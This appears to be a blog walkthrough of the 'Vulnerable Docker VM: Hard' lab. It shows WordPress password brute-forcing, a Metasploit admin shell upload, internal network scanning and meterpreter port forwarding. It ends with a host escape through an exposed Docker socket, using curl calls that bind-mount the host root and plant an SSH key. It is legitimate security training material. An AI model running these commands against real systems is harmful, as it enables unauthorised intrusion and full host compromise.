tcunha.github.io

The lesson of history is that no one learns.

Vulnerable Docker VM: Hard

Since this is running WordPress, the standard WPScan flags to enumerate information were used. Nothing relevant popped besides its users:

1
2
3
4
5
6
7
8
9
[snip]
[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-----------------+
    | Id | Login | Name            |
    +----+-------+-----------------+
    | 1  | bob   | bob _ NotSoEasy |
    +----+-------+-----------------+
[snip]

With this, brute-forcing seemed the next logical step. Used the rockyou wordlist to obtain the password:

1
2
3
4
5
6
7
[snip]
+----+-------+------+----------+
| Id | Login | Name | Password |
+----+-------+------+----------+
|    | bob   |      | Welcome1 |
+----+-------+------+----------+
[snip]

Logging in reveals the first flag in a WordPress draft:

1
2
2aa11783d05b6a329ffc4d2a1ce037f46162253e55d53764a6a7e998
[snip]

Decided with using Metasploit for an interactive shell:

1
2
3
4
5
6
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set password Welcome1
msf exploit(wp_admin_shell_upload) > set rhost ...
msf exploit(wp_admin_shell_upload) > set rport 8000
msf exploit(wp_admin_shell_upload) > set user bob
msf exploit(wp_admin_shell_upload) > run

After unsuccessfully scouring the Web for an exploit that affected this kernel version, tried to horizontally escalate privileges by finding containers on the same user-defined network. To obtain more reliable results, a statically compiled nmap was sent to the machine to perform a ping sweep and a TCP scan.

1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 09:46 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.00053s latency).
Nmap scan report for content_db_1.content_default (172.18.0.2)
Host is up (0.00040s latency).
Nmap scan report for content_ssh_1.content_default (172.18.0.3)
Host is up (0.00029s latency).
Nmap scan report for 8f4bca8ef241 (172.18.0.4)
Host is up (0.00025s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.97 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Starting Nmap 7.11 ( https://nmap.org ) at 2017-11-01 10:02 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.00016s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap scan report for content_db_1.content_default (172.18.0.2)
Host is up (0.00049s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql

Nmap scan report for content_ssh_1.content_default (172.18.0.3)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8022/tcp open  oa-system

Nmap scan report for 8f4bca8ef241 (172.18.0.4)
Host is up (0.00015s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 4 IP addresses (4 hosts up) scanned in 6.19 seconds

Scanning revealed a potential target with port 8022/tcp open. Reaching it is possible with meterpreter port-forwarding:

1
meterpreter > portfwd add -l 8192 -p 8022 -r 172.18.0.3

Accessing it on a browser spawns a shell on the DB container as root. While enumerating this new container, noticed that the Docker socket is available in the /var/run directory, thus, giving full control of the daemon on the host.

1
2
/ $ id
uid=0(root) gid=0(root) groups=0(root)

Since the vulnerable Virtual Machine wasn’t started with NAT configured, to interact with the UNIX domain socket, a locally and statically compiled cURL was sent as base64 to the remote machine as a WordPress draft and extracted with the MySQL client:

1
2
3
/ $ mysql -h 127.0.0.1 -u wordpress                                 \
    -e 'select post_content from wordpress.wp_posts where ID = 151' \
    -p >curl

Next a container with a host bind mount was created and started by using the REST API:

1
2
3
4
5
6
7
8
9
/ $ curl --unix-socket /var/run/docker.sock -XPOST                   \
    -H 'Content-Type: application/json'                              \
    -d '{ "Image": "wordpress:latest", "AttachStdin": true,          \
    "Tty": true, "Entrypoint": [ "/bin/sh", "-c" ], "HostConfig": {  \
    "Binds": [ "/:/srv" ] }, "Cmd": [ "sh " ] }'                     \
    http:/v1.24/containers/create?name=docker-root
/ $ curl --unix-socket /var/run/docker.sock -XPOST                   \
    -H 'Content-Type: application/json'                              \
    http:/v1.24/containers/docker-root/start

With a container created with full access to the host root directory under /srv, it is only a matter of creating a tarball with a SSH public key (which can be uploaded using the same method as above):

1
2
3
/ $ curl --unix-socket /var/run/docker.sock -XPUT                     \
    --upload-file key.tar                                             \
    http:/v1.24/containers/docker-root/archive?path=/srv/root/.ssh

Connecting via SSH on the externally standard available port:

1
2
3
4
root@vulndocker:/# id
uid=0(root) gid=0(root) groups=0(root)
root@vulndocker:/# head -n1 flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6